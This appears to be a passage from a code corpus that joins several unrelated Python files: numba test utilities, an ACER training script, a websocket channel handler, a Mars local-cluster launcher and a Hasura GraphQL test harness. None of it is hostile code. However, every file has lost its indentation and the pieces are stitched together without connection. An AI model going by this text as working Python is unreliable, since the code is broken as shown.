for fn in sorted(os.listdir(_trashcan_dir)):
fn = os.path.join(_trashcan_dir, fn)
try:
st = os.stat(fn)
if st.st_mtime < freshness_threshold:
shutil.rmtree(fn, ignore_errors=True)
except OSError as e:
# In parallel testing, several processes can attempt to
# remove the same entry at once, ignore.
pass
def _create_trashcan_subdir(prefix):
_purge_trashcan_dir()
path = tempfile.mkdtemp(prefix=prefix + '-', dir=_trashcan_dir)
return path
def temp_directory(prefix):
"""
Create a temporary directory with the given *prefix* that will survive
at least as long as this process invocation. The temporary directory
will be eventually deleted when it becomes stale enough.
This is necessary because a DLL file can't be deleted while in use
under Windows.
An interesting side-effect is to be able to inspect the test files
shortly after a test suite run.
"""
_create_trashcan_dir()
return _create_trashcan_subdir(prefix)
def import_dynamic(modname):
"""
Import and return a module of the given name. Care is taken to
avoid issues due to Python's internal directory caching.
"""
if sys.version_info >= (3, 3):
import importlib
importlib.invalidate_caches()
__import__(modname)
return sys.modules[modname]
# From CPython
@contextlib.contextmanager
def captured_output(stream_name):
"""Return a context manager used by captured_stdout/stdin/stderr
that temporarily replaces the sys stream *stream_name* with a StringIO."""
orig_stdout = getattr(sys, stream_name)
setattr(sys, stream_name, utils.StringIO())
try:
yield getattr(sys, stream_name)
finally:
setattr(sys, stream_name, orig_stdout)
def captured_stdout():
"""Capture the output of sys.stdout:
with captured_stdout() as stdout:
print("hello")
self.assertEqual(stdout.getvalue(), "hello\n")
"""
return captured_output("stdout")
def captured_stderr():
"""Capture the output of sys.stderr:
with captured_stderr() as stderr:
print("hello", file=sys.stderr)
self.assertEqual(stderr.getvalue(), "hello\n")
"""
return captured_output("stderr")
@contextlib.contextmanager
def capture_cache_log():
with captured_stdout() as out:
with override_config('DEBUG_CACHE', True):
yield out
class MemoryLeak(object):
__enable_leak_check = True
def memory_leak_setup(self):
# Clean up any NRT-backed objects hanging in a dead reference cycle
gc.collect()
self.__init_stats = rtsys.get_allocation_stats()
def memory_leak_teardown(self):
if self.__enable_leak_check:
self.assert_no_memory_leak()
def assert_no_memory_leak(self):
old = self.__init_stats
new = rtsys.get_allocation_stats()
total_alloc = new.alloc - old.alloc
total_free = new.free - old.free
total_mi_alloc = new.mi_alloc - old.mi_alloc
total_mi_free = new.mi_free - old.mi_free
self.assertEqual(total_alloc, total_free)
self.assertEqual(total_mi_alloc, total_mi_free)
def disable_leak_check(self):
# For per-test use when MemoryLeakMixin is injected into a TestCase
self.__enable_leak_check = False
class MemoryLeakMixin(MemoryLeak):
def setUp(self):
super(MemoryLeakMixin, self).setUp()
self.memory_leak_setup()
def tearDown(self):
super(MemoryLeakMixin, self).tearDown()
gc.collect()
self.memory_leak_teardown()
@contextlib.contextmanager
def forbid_codegen():
"""
Forbid LLVM code generation during the execution of the context
manager's enclosed block.
If code generation is invoked, a RuntimeError is raised.
"""
from numba.targets import codegen
patchpoints = ['CodeLibrary._finalize_final_module']
old = {}
def fail(*args, **kwargs):
raise RuntimeError("codegen forbidden by test case")
try:
# XXX use the mock library instead?
for name in patchpoints:
parts = name.split('.')
obj = codegen
for attrname in parts[:-1]:
obj = getattr(obj, attrname)
attrname = parts[-1]
value = getattr(obj, attrname)
assert callable(value), ("%r should be callable" % name)
old[obj, attrname] = value
setattr(obj, attrname, fail)
yield
finally:
for (obj, attrname), value in old.items():
setattr(obj, attrname, value)
# For details about redirection of file-descriptor, read
# https://eli.thegreenplace.net/2015/redirecting-all-kinds-of-stdout-in-python/
@contextlib.contextmanager
def redirect_fd(fd):
"""
Temporarily redirect *fd* to a pipe's write end and return a file object
wrapping the pipe's read end.
"""
from numba import _helperlib
libnumba = ctypes.CDLL(_helperlib.__file__)
libnumba._numba_flush_stdout()
save = os.dup(fd)
r, w = os.pipe()
try:
os.dup2(w, fd)
yield io.open(r, "r")
finally:
libnumba._numba_flush_stdout()
os.close(w)
os.dup2(save, fd)
os.close(save)
def redirect_c_stdout():
"""Redirect C stdout
"""
fd = sys.__stdout__.fileno()
return redirect_fd(fd)
def run_in_new_process_caching(func, cache_dir_prefix=__name__, verbose=True):
"""Spawn a new process to run `func` with a temporary cache directory.
The childprocess's stdout and stderr will be captured and redirected to
the current process's stdout and stderr.
Returns
-------
ret : dict
exitcode: 0 for success. 1 for exception-raised.
stdout: str
stderr: str
"""
ctx = mp.get_context('spawn')
qout = ctx.Queue()
cache_dir = temp_directory(cache_dir_prefix)
with override_env_config('NUMBA_CACHE_DIR', cache_dir):
proc = ctx.Process(target=_remote_runner, args=[func, qout])
proc.start()
proc.join()
stdout = qout.get_nowait()
stderr = qout.get_nowait()
if verbose and stdout.strip():
print()
print('STDOUT'.center(80, '-'))
print(stdout)
if verbose and stderr.strip():
print(file=sys.stderr)
print('STDERR'.center(80, '-'), file=sys.stderr)
print(stderr, file=sys.stderr)
return {
'exitcode': proc.exitcode,
'stdout': stdout,
'stderr': stderr,
}
def _remote_runner(fn, qout):
"""Used by `run_in_new_process_caching()`
"""
with captured_stderr() as stderr:
with captured_stdout() as stdout:
try:
fn()
except Exception:
traceback.print_exc()
exitcode = 1
else:
exitcode = 0
qout.put(stdout.getvalue())
qout.put(stderr.getvalue())
sys.exit(exitcode)
|
main.py | import argparse
import copy
import os
import gym
from torch import multiprocessing as mp
import networks
import optimizers
import utils
import worker
import tensorboard_writer
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--env-name', action='store', type=str, required=True,
help='Gym environment full name.')
parser.add_argument('--exp-name', action='store', type=str, default='acer', required=False,
help='Name of the experiment.')
parser.add_argument('--num-workers', action='store', type=int, default=4, required=False,
help='Number of workers to be spawned (one process for each). '
'Defaults to 4.')
parser.add_argument('--t-max', action='store', type=int, default=int(1e6), required=False,
help='Total number of steps to run in the environment. Defaults to 1e6.')
parser.add_argument('--worker-steps', action='store', type=int, default=int(1e3),
required=False, help='Number of steps that each worker will collect in '
'the environment before performing on and off '
'policy updates. Defaults to 1e3.')
parser.add_argument('--batch-size', action='store', type=int, default=32, required=False,
help='Size of trajectory batches sampled in off-policy training. '
'Defaults to 32.')
parser.add_argument('--replay-ratio', action='store', type=int, default=4, required=False,
help='Expected value of off-policy trainings for each on-policy training. '
'Defaults to 4.')
parser.add_argument('--buffer-len', action='store', type=int, default=int(1e4), required=False,
help='Capacity of the replay buffer measured in trajectories. The total '
'number of transitions is therefore worker steps * buffer len. '
'Defaults to 1e4.')
parser.add_argument('--start-train-at', action='store', type=int, default=0, required=False,
help='How many steps to perform before to start off-policy training. '
'On-policy training is always performed from the beginning. '
'Defaults to 0 (start train when enough samples to take a batch).')
parser.add_argument('--discount', action='store', type=float, default=0.99, required=False,
help='Discount factor. Defaults to 0.99.')
parser.add_argument('--c', action='store', type=float, default=1,
help='Retrace importance weight truncation. Defaults to 1.')
parser.add_argument('--trust-region', action='store_true', default=False,
help='Use trust region constraint in policy updates. Defaults to False.')
parser.add_argument('--trust-region-threshold', action='store', type=float, default=1,
help='Trust region threshold value (delta in Eq. 12 of ACER paper). '
'Defaults to 1.')
parser.add_argument('--tau', action='store', type=float, default=0.99, required=False,
help='Weight of current average policy when updating it with the new '
'policy. avg_p = tau * avg_p + (1 - tau) p. Defaults to 0.99.')
parser.add_argument('--lr', action='store', type=float, default=5e-4, required=False,
help='Learning rate. Defaults to 5e-4.')
parser.add_argument('--reward-clip', action='store_true', default=False,
help='Clip rewards in range [-1, 1]. Defaults to False.')
parser.add_argument('--entropy-weight', action='store', type=float, default=1e-4,
required=False, help='Entropy regularisation weight. Defaults to 1e-4.')
parser.add_argument('--max-grad-norm', action='store', type=float, default=40,
required=False, help='Gradient L2 normalisation. Defaults to 40.')
parser.add_argument('--debug', action='store_true', default=False,
help='Run a single thread and without tensorboard. '
'Defaults to False.')
parser.add_argument('--no-lock', action='store_true', default=False, required=False,
help='Do not use the Lock mechanism when transferring gradients to the '
'shared model. Potentially allows workers to overwrite each other\'s '
'work, but may improve speed. Default is to use Lock.')
parser.add_argument('--no-lock-update', action='store_true', default=False, required=False,
help='Do not use the Lock mechanism when performing the optimization step '
'on the shared model. Potentially allows worker to perform '
'optimization at the same time, but may improve speed. Default is to '
'use Lock both in gradient transfer and in optimization.')
args = parser.parse_args()
# Check args validity
if os.path.exists(f'{tensorboard_writer.DEFAULT_DIR}/{args.exp_name}'):
raise ValueError(f'An experiment called {args.exp_name} already exists.')
trust_region = (args.trust_region_threshold if args.trust_region else None)
lock_update = not args.no_lock and not args.no_lock_update
# Get environment information
env = gym.make(args.env_name)
state_dim = env.observation_space.shape[0]
act_dim = env.action_space.n
env.close()
# Create shared models
value_net = networks.LinearNetwork(inputs=state_dim, outputs=act_dim,
n_hidden_layers=3, n_hidden_units=128)
act_net = networks.LinearNetwork(inputs=state_dim, outputs=act_dim,
n_hidden_layers=3, n_hidden_units=128)
shared_model = networks.DiscreteActorCriticSplit(actor=act_net, critic=value_net,
add_softmax=True)
shared_average_model = copy.deepcopy(shared_model)
shared_average_model.no_grads() # Set requires_grad to false for all parameters
shared_model.share_memory()
shared_average_model.share_memory()
shared_opt = optimizers.SharedAdam(shared_model.parameters(), lr=args.lr)
# Create shared variables
shared_counter = utils.Counter()
shared_model_lock = mp.Lock() if not args.no_lock else None
summary_queue = mp.Queue()
processes = []
workers = []
for i in range(args.num_workers):
w = worker.Worker(worker_id=i, env_name=args.env_name, n_steps=args.worker_steps,
max_steps=args.t_max, shared_model=shared_model,
shared_avg_model=shared_average_model, shared_optimizer=shared_opt,
shared_counter=shared_counter, df=args.discount, c=args.c,
entropy_weight=args.entropy_weight, tau=args.tau,
replay_ratio=args.replay_ratio, buffer_len=args.buffer_len,
batch_size=args.batch_size, start_train_at=args.start_train_at,
grad_norm_clip=args.max_grad_norm,
trust_region=trust_region,
shared_model_lock=shared_model_lock,
use_lock_update=lock_update, summary_queue=summary_queue)
if args.debug:
w.run()
exit()
p = mp.Process(target=w.run)
processes.append(p)
workers.append(w)
p.start()
# Start tensorboard writer in the main thread
writer = tensorboard_writer.Writer(summary_queue, processes=processes, exp_name=args.exp_name)
writer.run()
print('Finished')
|
msg_channel_wsh.py | #!/usr/bin/python
import json
import logging
import urllib
import threading
import traceback
from queue import Empty
from mod_pywebsocket import stream, msgutil
from wptserve import stash as stashmod
logger = logging.getLogger()
address, authkey = stashmod.load_env_config()
stash = stashmod.Stash("msg_channel", address=address, authkey=authkey)
# Backend for websocket based channels.
#
# Each socket connection has a uuid identifying the channel and a
# direction which is either "read" or "write". There can be only 1
# "read" channel per uuid, but multiple "write" channels
# (i.e. multiple producer, single consumer).
#
# The websocket connection URL contains the uuid and the direction as
# named query parameters.
#
# Channels are backed by a queue which is stored in the stash (one
# queue per uuid).
#
# The representation of a queue in the stash is a tuple (queue,
# has_reader, writer_count). The first field is the queue itself, the
# latter are effectively reference counts for reader channels (which
# is zero or one, represented by a bool) and writer channels. Once
# both counts drop to zero the queue can be deleted.
#
# Entries on the queue itself are formed of (command, data) pairs. The
# command can be either "close", signalling the socket is closing and
# the reference count on the channel should be decremented, or
# "message", which indicates a message.
def log(uuid, msg, level="debug"):
msg = f"{uuid}: {msg}"
getattr(logger, level)(msg)
def web_socket_do_extra_handshake(request):
return
def web_socket_transfer_data(request):
"""Handle opening a websocket connection."""
uuid, direction = parse_request(request)
log(uuid, f"Got web_socket_transfer_data {direction}")
# Get or create the relevant queue from the stash and update the refcount
with stash.lock:
value = stash.take(uuid)
if value is None:
queue = stash.get_queue()
if direction == "read":
has_reader = True
writer_count = 0
else:
has_reader = False
writer_count = 1
else:
queue, has_reader, writer_count = value
if direction == "read":
if has_reader:
raise ValueError("Tried to start multiple readers for the same queue")
has_reader = True
else:
writer_count += 1
stash.put(uuid, (queue, has_reader, writer_count))
if direction == "read":
run_read(request, uuid, queue)
elif direction == "write":
run_write(request, uuid, queue)
log(uuid, f"transfer_data loop exited {direction}")
close_channel(uuid, direction)
def web_socket_passive_closing_handshake(request):
"""Handle a client initiated close.
When the client closes a reader, put a message in the message
queue indicating the close. For a writer we don't need special
handling here because receive_message in run_read will return an
empty message in this case, so that loop will exit on its own.
"""
uuid, direction = parse_request(request)
log(uuid, f"Got web_socket_passive_closing_handshake {direction}")
if direction == "read":
with stash.lock:
data = stash.take(uuid)
stash.put(uuid, data)
if data is not None:
queue = data[0]
queue.put(("close", None))
return request.ws_close_code, request.ws_close_reason
def parse_request(request):
query = request.unparsed_uri.split('?')[1]
GET = dict(urllib.parse.parse_qsl(query))
uuid = GET["uuid"]
direction = GET["direction"]
return uuid, direction
def wait_for_close(request, uuid, queue):
"""Listen for messages on the socket for a read connection to a channel."""
closed = False
while not closed:
try:
msg = request.ws_stream.receive_message()
if msg is None:
break
try:
cmd, data = json.loads(msg)
except ValueError:
cmd = None
if cmd == "close":
closed = True
log(uuid, "Got client initiated close")
else:
log(uuid, f"Unexpected message on read socket {msg}", "warning")
except Exception:
if not (request.server_terminated or request.client_terminated):
log(uuid, f"Got exception in wait_for_close\n{traceback.format_exc()}")
closed = True
if not request.server_terminated:
queue.put(("close", None))
def run_read(request, uuid, queue):
"""Main loop for a read-type connection.
This mostly just listens on the queue for new messages of the
form (message, data). Supported messages are:
message - Send `data` on the WebSocket
close - Close the reader queue
In addition there's a thread that listens for messages on the
socket itself. Typically this socket shouldn't recieve any
messages, but it can recieve an explicit "close" message,
indicating the socket should be disconnected.
"""
close_thread = threading.Thread(target=wait_for_close, args=(request, uuid, queue), daemon=True)
close_thread.start()
while True:
try:
data = queue.get(True, 1)
except Empty:
if request.server_terminated or request.client_terminated:
break
else:
cmd, body = data
log(uuid, f"queue.get ({cmd}, {body})")
if cmd == "close":
break
if cmd == "message":
msgutil.send_message(request, json.dumps(body))
else:
log(uuid, f"Unknown queue command {cmd}", level="warning")
def run_write(request, uuid, queue):
"""Main loop for a write-type connection.
Messages coming over the socket have the format (command, data).
The recognised commands are:
message - Send the message `data` over the channel.
disconnectReader - Close the reader connection for this channel.
delete - Force-delete the entire channel and the underlying queue.
"""
while True:
msg = request.ws_stream.receive_message()
if msg is None:
break
cmd, body = json.loads(msg)
if cmd == "disconnectReader":
queue.put(("close", None))
elif cmd == "message":
log(uuid, f"queue.put ({cmd}, {body})")
queue.put((cmd, body))
elif cmd == "delete":
close_channel(uuid, None)
def close_channel(uuid, direction):
"""Update the channel state in the stash when closing a connection
This updates the stash entry, including refcounts, once a
connection to a channel is closed.
Params:
uuid - the UUID of the channel being closed.
direction - "read" if a read connection was closed, "write" if a
write connection was closed, None to remove the
underlying queue from the stash entirely.
"""
log(uuid, f"Got close_channel {direction}")
with stash.lock:
data = stash.take(uuid)
if data is None:
log(uuid, "Message queue already deleted")
return
if direction is None:
# Return without replacing the channel in the stash
log(uuid, "Force deleting message queue")
return
queue, has_reader, writer_count = data
if direction == "read":
has_reader = False
else:
writer_count -= 1
if has_reader or writer_count > 0 or not queue.empty():
log(uuid, f"Updating refcount {has_reader}, {writer_count}")
stash.put(uuid, (queue, has_reader, writer_count))
else:
log(uuid, "Deleting message queue")
|
core.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright 1999-2020 Alibaba Group Holding Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import atexit
import multiprocessing
import os
import signal
import sys
import time
from ...actors import create_actor_pool
from ...cluster_info import StaticClusterDiscoverer
from ...config import options
from ...resource import cpu_count
from ...scheduler.service import SchedulerService
from ...session import new_session
from ...utils import get_next_port, kill_process_tree
from ...worker.service import WorkerService
from .distributor import gen_distributor
_mp_spawn_context = multiprocessing.get_context('spawn')
_local_cluster_clients = dict()
atexit.register(lambda: [v.stop() for v in list(_local_cluster_clients.values())])
class LocalDistributedCluster(object):
# at least 2 process are required by scheduler and worker
MIN_SCHEDULER_N_PROCESS = 2
MIN_WORKER_N_PROCESS = 2
def __init__(self, endpoint, n_process=None, scheduler_n_process=None,
worker_n_process=None, cuda_device=None, ignore_avail_mem=True,
shared_memory=None):
self._endpoint = endpoint
self._started = False
self._stopped = False
self._pool = None
self._scheduler_service = SchedulerService()
cuda_devices = [cuda_device] if cuda_device is not None else None
self._worker_service = WorkerService(ignore_avail_mem=ignore_avail_mem,
cache_mem_limit=shared_memory,
cuda_devices=cuda_devices,
distributed=False)
self._scheduler_n_process, self._worker_n_process = \
self._calc_scheduler_worker_n_process(n_process,
scheduler_n_process,
worker_n_process)
@property
def pool(self):
return self._pool
@classmethod
def _calc_scheduler_worker_n_process(cls, n_process, scheduler_n_process, worker_n_process,
calc_cpu_count=cpu_count):
n_scheduler, n_worker = scheduler_n_process, worker_n_process
if n_scheduler is None and n_worker is None:
n_scheduler = cls.MIN_SCHEDULER_N_PROCESS
n_process = n_process if n_process is not None else calc_cpu_count() + n_scheduler
n_worker = max(n_process - n_scheduler, cls.MIN_WORKER_N_PROCESS)
elif n_scheduler is None or n_worker is None:
# one of scheduler and worker n_process provided
if n_scheduler is None:
n_process = n_process if n_process is not None else calc_cpu_count()
n_scheduler = max(n_process - n_worker, cls.MIN_SCHEDULER_N_PROCESS)
else:
assert n_worker is None
n_process = n_process if n_process is not None else calc_cpu_count() + n_scheduler
n_worker = max(n_process - n_scheduler, cls.MIN_WORKER_N_PROCESS)
return n_scheduler, n_worker
def _make_sure_scheduler_ready(self, timeout=120):
check_start_time = time.time()
while True:
workers_meta = self._scheduler_service._resource_ref.get_workers_meta()
if not workers_meta:
# wait for worker to report status
self._pool.sleep(.5)
if time.time() - check_start_time > timeout: # pragma: no cover
raise TimeoutError('Check worker ready timed out.')
else:
break
def start_service(self):
if self._started:
return
self._started = True
# start plasma
self._worker_service.start_plasma()
# start actor pool
n_process = self._scheduler_n_process + self._worker_n_process
distributor = gen_distributor(self._scheduler_n_process, self._worker_n_process)
self._pool = create_actor_pool(self._endpoint, n_process, distributor=distributor)
discoverer = StaticClusterDiscoverer([self._endpoint])
# start scheduler first
self._scheduler_service.start(self._endpoint, discoverer, self._pool, distributed=False)
# start worker next
self._worker_service.start(self._endpoint, self._pool,
discoverer=discoverer,
process_start_index=self._scheduler_n_process)
# make sure scheduler is ready
self._make_sure_scheduler_ready()
def stop_service(self):
if self._stopped:
return
self._stopped = True
try:
self._scheduler_service.stop(self._pool)
self._worker_service.stop()
finally:
self._pool.stop()
def serve_forever(self):
try:
self._pool.join()
except KeyboardInterrupt:
pass
finally:
self.stop_service()
def __enter__(self):
self.start_service()
return self
def __exit__(self, *_):
self.stop_service()
def gen_endpoint(address):
port = None
tries = 5 # retry for 5 times
for i in range(tries):
try:
port = get_next_port()
break
except SystemError:
if i < tries - 1:
continue
raise
return f'{address}:{port}'
def _start_cluster(endpoint, event, n_process=None, shared_memory=None, **kw):
modules = kw.pop('modules', None) or []
for m in modules:
__import__(m, globals(), locals(), [])
options_dict = kw.pop('options', None) or {}
options.update(options_dict)
cluster = LocalDistributedCluster(endpoint, n_process=n_process,
shared_memory=shared_memory, **kw)
cluster.start_service()
event.set()
try:
cluster.serve_forever()
finally:
cluster.stop_service()
def _start_cluster_process(endpoint, n_process, shared_memory, **kw):
event = _mp_spawn_context.Event()
kw = kw.copy()
kw['n_process'] = n_process
kw['shared_memory'] = shared_memory or '20%'
process = _mp_spawn_context.Process(
target=_start_cluster, args=(endpoint, event), kwargs=kw)
process.start()
while True:
event.wait(5)
if not event.is_set():
# service not started yet
continue
if not process.is_alive():
raise SystemError('New local cluster failed')
else:
break
return process
def _start_web(scheduler_address, ui_port, event):
import gevent.monkey
gevent.monkey.patch_all(thread=False)
from ...web import MarsWeb
web = MarsWeb(None, ui_port, scheduler_address)
try:
web.start(event=event, block=True)
finally:
web.stop()
def _start_web_process(scheduler_endpoint, web_endpoint):
ui_port = int(web_endpoint.rsplit(':', 1)[1])
web_event = _mp_spawn_context.Event()
web_process = _mp_spawn_context.Process(
target=_start_web, args=(scheduler_endpoint, ui_port, web_event), daemon=True)
web_process.start()
while True:
web_event.wait(5)
if not web_event.is_set():
# web not started yet
continue
if not web_process.is_alive():
raise SystemError('New web interface failed')
else:
break
return web_process
class LocalDistributedClusterClient(object):
def __init__(self, endpoint, web_endpoint, cluster_process, web_process):
self._cluster_process = cluster_process
self._web_process = web_process
self._endpoint = endpoint
self._web_endpoint = web_endpoint
self._session = new_session(endpoint).as_default()
@property
def endpoint(self):
return self._endpoint
@property
def web_endpoint(self):
return self._web_endpoint
@property
def session(self):
return self._session
def __enter__(self):
return self
def __exit__(self, *_):
self.stop()
@staticmethod
def _ensure_process_finish(proc):
if proc is None or not proc.is_alive():
return
proc.join(3)
kill_process_tree(proc.pid)
def stop(self):
try:
del _local_cluster_clients[id(self)]
except KeyError: # pragma: no cover
pass
if self._cluster_process.is_alive():
os.kill(self._cluster_process.pid, signal.SIGINT)
if self._web_process is not None and self._web_process.is_alive():
os.kill(self._web_process.pid, signal.SIGINT)
self._ensure_process_finish(self._cluster_process)
self._ensure_process_finish(self._web_process)
def new_cluster(address='0.0.0.0', web=False, n_process=None, shared_memory=None,
open_browser=None, **kw):
open_browser = open_browser if open_browser is not None else options.deploy.open_browser
endpoint = gen_endpoint(address)
web_endpoint = None
if web is True:
web_endpoint = gen_endpoint('0.0.0.0')
elif isinstance(web, str):
if ':' in web:
web_endpoint = web
else:
web_endpoint = gen_endpoint(web)
options_dict = kw.get('options', dict())
if options.custom_log_dir is not None:
options_dict['custom_log_dir'] = options.custom_log_dir
kw['options'] = options_dict
process = _start_cluster_process(endpoint, n_process, shared_memory, **kw)
web_process = None
if web_endpoint:
web_process = _start_web_process(endpoint, web_endpoint)
print(f'Web endpoint started at http://{web_endpoint}', file=sys.stderr)
if open_browser:
import webbrowser
webbrowser.open_new_tab(f'http://{web_endpoint}')
client = LocalDistributedClusterClient(endpoint, web_endpoint, process, web_process)
_local_cluster_clients[id(client)] = client
return client
|
context.py | #!/usr/bin/env python3
from http import HTTPStatus
from socketserver import ThreadingMixIn
from urllib.parse import urlparse
from ruamel.yaml.comments import CommentedMap as OrderedDict # to avoid '!!omap' in yaml
import threading
import http.server
import json
import queue
import socket
import subprocess
import time
import string
import random
import os
import re
import ruamel.yaml as yaml
import requests
import websocket
from sqlalchemy import create_engine
from sqlalchemy.schema import MetaData
import graphql_server
import graphql
# pytest has removed the global pytest.config
# As a solution to this we are going to store it in PyTestConf.config
class PytestConf():
pass
class HGECtxError(Exception):
pass
class GQLWsClient():
def __init__(self, hge_ctx, endpoint):
self.hge_ctx = hge_ctx
self.ws_queue = queue.Queue(maxsize=-1)
self.ws_url = urlparse(hge_ctx.hge_url)._replace(scheme='ws',
path=endpoint)
self.create_conn()
def create_conn(self):
self.ws_queue.queue.clear()
self.ws_id_query_queues = dict()
self.ws_active_query_ids = set()
self.connected_event = threading.Event()
self.init_done = False
self.is_closing = False
self.remote_closed = False
self._ws = websocket.WebSocketApp(self.ws_url.geturl(),
on_open=self._on_open, on_message=self._on_message, on_close=self._on_close)
self.wst = threading.Thread(target=self._ws.run_forever)
self.wst.daemon = True
self.wst.start()
def recreate_conn(self):
self.teardown()
self.create_conn()
def wait_for_connection(self, timeout=10):
assert not self.is_closing
assert self.connected_event.wait(timeout=timeout)
def get_ws_event(self, timeout):
return self.ws_queue.get(timeout=timeout)
def has_ws_query_events(self, query_id):
return not self.ws_id_query_queues[query_id].empty()
def get_ws_query_event(self, query_id, timeout):
return self.ws_id_query_queues[query_id].get(timeout=timeout)
def send(self, frame):
self.wait_for_connection()
if frame.get('type') == 'stop':
self.ws_active_query_ids.discard( frame.get('id') )
elif frame.get('type') == 'start' and 'id' in frame:
self.ws_id_query_queues[frame['id']] = queue.Queue(maxsize=-1)
self._ws.send(json.dumps(frame))
def init_as_admin(self):
headers={}
if self.hge_ctx.hge_key:
headers = {'x-hasura-admin-secret': self.hge_ctx.hge_key}
self.init(headers)
def init(self, headers={}):
payload = {'type': 'connection_init', 'payload': {}}
if headers and len(headers) > 0:
payload['payload']['headers'] = headers
self.send(payload)
ev = self.get_ws_event(3)
assert ev['type'] == 'connection_ack', ev
self.init_done = True
def stop(self, query_id):
data = {'id': query_id, 'type': 'stop'}
self.send(data)
self.ws_active_query_ids.discard(query_id)
def gen_id(self, size=6, chars=string.ascii_letters + string.digits):
new_id = ''.join(random.choice(chars) for _ in range(size))
if new_id in self.ws_active_query_ids:
return self.gen_id(size, chars)
return new_id
def send_query(self, query, query_id=None, headers={}, timeout=60):
graphql.parse(query['query'])
if headers and len(headers) > 0:
#Do init If headers are provided
self.init(headers)
elif not self.init_done:
self.init()
if query_id == None:
query_id = self.gen_id()
frame = {
'id': query_id,
'type': 'start',
'payload': query,
}
self.ws_active_query_ids.add(query_id)
self.send(frame)
while True:
yield self.get_ws_query_event(query_id, timeout)
def _on_open(self):
if not self.is_closing:
self.connected_event.set()
def _on_message(self, message):
# NOTE: make sure we preserve key ordering so we can test the ordering
# properties in the graphql spec properly
json_msg = json.loads(message, object_pairs_hook=OrderedDict)
if 'id' in json_msg:
query_id = json_msg['id']
if json_msg.get('type') == 'stop':
#Remove from active queries list
self.ws_active_query_ids.discard( query_id )
if not query_id in self.ws_id_query_queues:
self.ws_id_query_queues[json_msg['id']] = queue.Queue(maxsize=-1)
#Put event in the correponding query_queue
self.ws_id_query_queues[query_id].put(json_msg)
elif json_msg['type'] != 'ka':
#Put event in the main queue
self.ws_queue.put(json_msg)
def _on_close(self):
self.remote_closed = True
self.init_done = False
def teardown(self):
self.is_closing = True
if not self.remote_closed:
self._ws.close()
self.wst.join()
class ActionsWebhookHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(HTTPStatus.OK)
self.end_headers()
def do_POST(self):
content_len = self.headers.get('Content-Length')
req_body = self.rfile.read(int(content_len)).decode("utf-8")
self.req_json = json.loads(req_body)
req_headers = self.headers
req_path = self.path
self.log_message(json.dumps(self.req_json))
if req_path == "/create-user":
resp, status = self.create_user()
self._send_response(status, resp)
elif req_path == "/create-users":
resp, status = self.create_users()
self._send_response(status, resp)
elif req_path == "/invalid-response":
self._send_response(HTTPStatus.OK, "some-string")
else:
self.send_response(HTTPStatus.NO_CONTENT)
self.end_headers()
def create_user(self):
email_address = self.req_json['input']['email']
name = self.req_json['input']['name']
if not self.check_email(email_address):
response = {
'message': 'Given email address is not valid',
'code': 'invalid-email'
}
return response, HTTPStatus.BAD_REQUEST
gql_query = '''
mutation ($email: String! $name: String!) {
insert_user_one(object: {email: $email, name: $name}){
id
}
}
'''
query = {
'query': gql_query,
'variables': {
'email': email_address,
'name': name
}
}
code, resp = self.execute_query(query)
if code != 200 or 'data' not in resp:
response = {
'message': 'GraphQL query execution failed',
'code': 'unexpected'
}
return response, HTTPStatus.BAD_REQUEST
response = resp['data']['insert_user_one']
return response, HTTPStatus.OK
def create_users(self):
inputs = self.req_json['input']['users']
for input in inputs:
email_address = input['email']
if not self.check_email(email_address):
response = {
'message': 'Email address is not valid: ' + email_address,
'code': 'invalid-email'
}
return response, HTTPStatus.BAD_REQUEST
gql_query = '''
mutation ($insert_inputs: [user_insert_input!]!){
insert_user(objects: $insert_inputs){
returning{
id
}
}
}
'''
query = {
'query': gql_query,
'variables': {
'insert_inputs': inputs
}
}
code, resp = self.execute_query(query)
if code != 200 or 'data' not in resp:
response = {
'message': 'GraphQL query execution failed',
'code': 'unexpected'
}
return response, HTTPStatus.BAD_REQUEST
response = resp['data']['insert_user']['returning']
return response, HTTPStatus.OK
def check_email(self, email):
regex = '^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$'
return re.search(regex,email)
def execute_query(self, query):
headers = {}
admin_secret = self.hge_ctx.hge_key
if admin_secret is not None:
headers['X-Hasura-Admin-Secret'] = admin_secret
code, resp, _ = self.hge_ctx.anyq('/v1/graphql', query, headers)
self.log_message(json.dumps(resp))
return code, resp
def _send_response(self, status, body):
self.send_response(status)
self.send_header('Content-Type', 'application/json')
self.end_headers()
self.wfile.write(json.dumps(body).encode("utf-8"))
class ActionsWebhookServer(http.server.HTTPServer):
def __init__(self, hge_ctx, server_address):
handler = ActionsWebhookHandler
handler.hge_ctx = hge_ctx
super().__init__(server_address, handler)
def server_bind(self):
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.bind(self.server_address)
class EvtsWebhookHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(HTTPStatus.OK)
self.end_headers()
def do_POST(self):
content_len = self.headers.get('Content-Length')
req_body = self.rfile.read(int(content_len)).decode("utf-8")
req_json = json.loads(req_body)
req_headers = self.headers
req_path = self.path
self.log_message(json.dumps(req_json))
if req_path == "/fail":
self.send_response(HTTPStatus.INTERNAL_SERVER_ERROR)
self.end_headers()
self.server.error_queue.put({"path": req_path,
"body": req_json,
"headers": req_headers})
elif req_path == "/timeout_short":
time.sleep(5)
self.send_response(HTTPStatus.NO_CONTENT)
self.end_headers()
self.server.error_queue.put({"path": req_path,
"body": req_json,
"headers": req_headers})
elif req_path == "/timeout_long":
time.sleep(5)
self.send_response(HTTPStatus.NO_CONTENT)
self.end_headers()
self.server.resp_queue.put({"path": req_path,
"body": req_json,
"headers": req_headers})
else:
self.send_response(HTTPStatus.NO_CONTENT)
self.end_headers()
self.server.resp_queue.put({"path": req_path,
"body": req_json,
"headers": req_headers})
# A very slightly more sane/performant http server.
# See: https://stackoverflow.com/a/14089457/176841
#
# TODO use this elsewhere, or better yet: use e.g. bottle + waitress
class ThreadedHTTPServer(ThreadingMixIn, http.server.HTTPServer):
